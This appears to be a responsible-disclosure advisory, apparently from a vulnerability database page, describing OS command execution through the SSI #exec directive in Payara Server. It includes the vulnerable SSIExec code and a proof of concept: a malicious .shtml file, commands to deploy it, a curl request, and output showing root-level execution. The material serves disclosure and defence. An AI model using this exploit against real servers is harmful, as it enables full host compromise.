*Description:*
Payara Server contains a vulnerability in its Server-Side Includes (SSI)
implementation that allows arbitrary operating system command execution via
the #exec directive. The issue occurs because user-controlled SSI
directives are passed directly to Runtime.exec() without validation,
sanitization, or restriction. An attacker who can cause the server to
process an SSI file (e.g., .shtml) can execute arbitrary OS commands with
the privileges of the Payara process. This vulnerability results in remote
code execution when SSI processing is enabled and accessible.
*Affected Product:*
- Payara Server (Community & Enterprise)
- Affects versions where:
- Server-Side Includes (SSI) are enabled
- SSIExec command handling is available
- #exec cmd is not explicitly disabled
*Impact:*
- Successful exploitation allows an attacker to:
- Execute arbitrary OS commands
- Read/write files on the server
- Install backdoors or persistence mechanisms
- Pivot to internal networks
- Fully compromise the host system
*Root Cause:*
*The vulnerability exists in the following class:*
org.apache.catalina.ssi.SSIExec
*Specifically, the process() method executes untrusted input directly:*
else if (paramName.equalsIgnoreCase("cmd")) {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(substitutedValue);
*Proof of Concept (PoC):*
*Malicious SSI File:*
<!-- poc.shtml -->
<html>
<body>
<h2>SSI Exec Test</h2>
<pre>
<!--#exec cmd="id" -->
</pre>
</body>
</html>
*Deployment:*
jar cf ssitest.war .
$PAYARA_HOME/bin/asadmin deploy --force=true ssitest.war
*Payload:*
curl http://localhost:8080/ssitest/poc.shtml
*Output:*
<html>
<body>
<h2>SSI Exec Test</h2>
<pre>
uid=0(root) gid=0(root) groups=0(root)
</pre>
</body>
</html>
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Sep 2026 00:00Current
6.9Medium risk
Vulners AI Score6.9